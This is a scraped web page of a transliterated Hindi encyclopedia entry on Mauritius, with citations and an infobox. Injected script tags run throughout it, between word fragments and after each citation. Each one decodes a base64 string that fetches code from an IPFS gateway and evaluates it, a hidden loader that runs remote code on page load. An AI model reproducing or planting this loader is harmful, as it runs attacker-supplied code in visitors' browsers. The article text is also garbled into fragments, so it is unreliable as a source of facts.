<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri 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[1] urishas ke mausam ko aur bhi behatar tarike se janie (hindi) blog.thomascook.in. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[2] urishas mean 'ram-ram' (hiandi) praveenguptahindu.blogspot. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

[3] sa hai m aaurishas ka ramayan seantar (hiandi) satyagrah.scroll.in. abhigaman tithi: 07 agast, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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m aaurishas
m aaurishas ka rashtriy dhvaj\|200px\|center
rajadhani	port luee
rajabhasha	aangrezi
nivasi	m aaurishiyaee
svatantrata prapti	1968
ganarajy	1992
mudra	m aaurishiyaee rupaya (MUR)
yatayat chalan disha	baean
doorabhash koot	230
rashtravaky	"Stella Clavisque Maris Indici" (laitin) "hind mahasagar ka sitara aur kuanji"
rashtragan	madaralaiand (matribhoomi)
any janakari	m aaurishas ki janasankhya mean lagabhag 52 pratishat hindoo haian. yahaan ke hianduoan mean shaivoan ki sankhya sarvadhik hai. yahi vajah hai ki yahaan shiv ke mandiroan ki bahutayat hai.